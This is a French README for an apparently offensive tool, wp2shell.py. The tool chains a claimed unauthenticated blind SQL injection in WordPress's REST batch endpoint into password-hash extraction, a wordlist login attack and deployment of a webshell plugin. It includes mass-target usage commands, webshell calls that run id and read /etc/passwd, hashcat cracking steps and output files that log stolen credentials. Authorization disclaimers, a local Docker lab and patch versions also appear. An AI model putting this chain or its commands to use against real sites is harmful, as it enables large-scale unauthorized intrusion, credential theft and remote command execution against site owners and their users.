
Chaîne d'exploitation automatisée pour CVE-2026-63030 / CVE-2026-60137 — injection SQL aveugle non authentifiée via la confusion de routes du lot REST de WordPress. Extrait les hachages utilisateur, casse les identifiants, déploie un webshell. Prend en charge une cible unique et des listes de sites en masse. Pour des tests de sécurité autorisés uniquement.
Injection SQL aveugle par confusion de route du batch REST WordPress — chaîne d'exploitation automatisée.
CVE-2026-63030 / CVE-2026-60137
| Versions concernées | WordPress 6.9.0 – 6.9.4 et 7.0.0 – 7.0.1 |
| Correctif | WordPress 6.9.5 / 7.0.2 |
| Sink | SQL author__not_in via paramètre author_exclude désynchronisé |
| Authentification requise | Aucune (SQLi non authentifiée) |
Réservé aux tests de sécurité autorisés.
Le point de terminaison batch de l'API REST WordPress (/wp-json/batch/v1) accepte les requêtes batch imbriquées. Un payload de désynchronisation doublement imbriqué décale les tableaux internes $matches / $validation, orientant une valeur author_exclude construite vers le SQL author__not_in sans assainissement. Cela permet une injection SQL aveugle booléenne et temporelle non authentifiée.
Chaîne d'exploitation — 4 phases :
Phase 1 Vulnerability check batch marker probe + optional SQL timing
Phase 2 Hash harvest blind SQLi extracts wp_users (login + hash)
Phase 3 Authentication wordlist attack via wp-login.php
Phase 4 Webshell deployment plugin ZIP upload -> RCE verify
aiohttpcoloramapip install aiohttp colorama
Cible unique
python wp2shell.py http://target.com
Liste de sites (une URL par ligne)
python wp2shell.py sites.txt
Liste de sites + fichier de mots de passe personnalisé
python wp2shell.py sites.txt -p pass.txt
Identifiants connus (ignorer la wordlist)
python wp2shell.py http://target.com --user admin --password admin123
Confirmer la SQLi par temporisation
python wp2shell.py http://target.com --confirm-sqli
Sans permaliens personnalisés
python wp2shell.py http://target.com --rest-route
Via le proxy Burp
python wp2shell.py http://target.com --proxy http://127.0.0.1:8080
| Fichier | Contenu |
|---|---|
creds.txt | http://target=>user:pass (texte clair si le mot de passe est trouvé, hash sinon) |
webshell.txt | URL du webshell actif |
VULNERABLE.txt | Toutes les cibles où la phase 1 a confirmé la vulnérabilité |
Tous les fichiers sont ouverts en mode ajout — les résultats s'accumulent au fil des exécutions.
Utilisation du webshell — ajoutez ?cmd=COMMAND à l'URL dans webshell.txt :
# browser
http://target.com/wp-content/plugins/wp2shell_XXXX/wp2shell_XXXX.php?cmd=id
# curl
curl "http://target.com/wp-content/plugins/wp2shell_XXXX/wp2shell_XXXX.php?cmd=id"
curl "http://target.com/wp-content/plugins/wp2shell_XXXX/wp2shell_XXXX.php?cmd=cat+/etc/passwd"
Si la wordlist échoue, creds.txt contient le hash extrait :
hashcat -m 400 creds.txt wordlist.txt
Relancez ensuite avec le mot de passe trouvé :
python wp2shell.py http://target.com --user admin --password <plaintext>
Déploie une instance WordPress 7.0.1 vulnérable pour des tests locaux en toute sécurité.
Première exécution — construire les volumes et installer WordPress :
docker compose up -d db wordpress
docker compose run --rm wpcli
Démarrages suivants :
docker compose up -d db wordpress
Arrêt :
docker compose down
Réinitialisation complète (efface toutes les données) :
docker compose down -v
Lancer l'exploit contre le laboratoire :
python wp2shell.py http://localhost:8080
Mettez à jour vers WordPress 6.9.5 ou 7.0.2. Le correctif valide la route batch avant de traiter les requêtes imbriquées, empêchant la désynchronisation qui expose le sink SQL.
À utiliser uniquement sur des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite de test. Toute utilisation non autorisée est illégale.
| Option | Défaut | Description |
|---|
target | — | URL (http://target) ou chemin vers un fichier de liste de sites |
-p FILE | — | Fichier de liste de mots de passe (un par ligne) |
--user | — | Ignorer la wordlist, utiliser ce nom d'utilisateur |
--password | — | Ignorer la wordlist, utiliser ce mot de passe |
--confirm-sqli | off | Envoyer une sonde de temporisation SQL active après le test de marqueur |
--rest-route | off | Utiliser /?rest_route=/batch/v1 (sans permaliens personnalisés) |
--sleep N | 3.0 | Délai de SLEEP() SQL en secondes |
--samples N | 3 | Paires d'échantillons de temporisation pour le calcul de la médiane |
--timeout N | 30.0 | Délai d'expiration des requêtes HTTP |
--prefix PREFIX | wp_ | Préfixe des tables de la base de données |
--proxy URL | — | Proxy HTTP/HTTPS |
| URL | http://localhost:8080 |
| Administrateur | admin / admin123 |
| Hôte MySQL | db |
| Utilisateur / mot de passe MySQL | wpuser / wppass |
| Base de données | wordpress |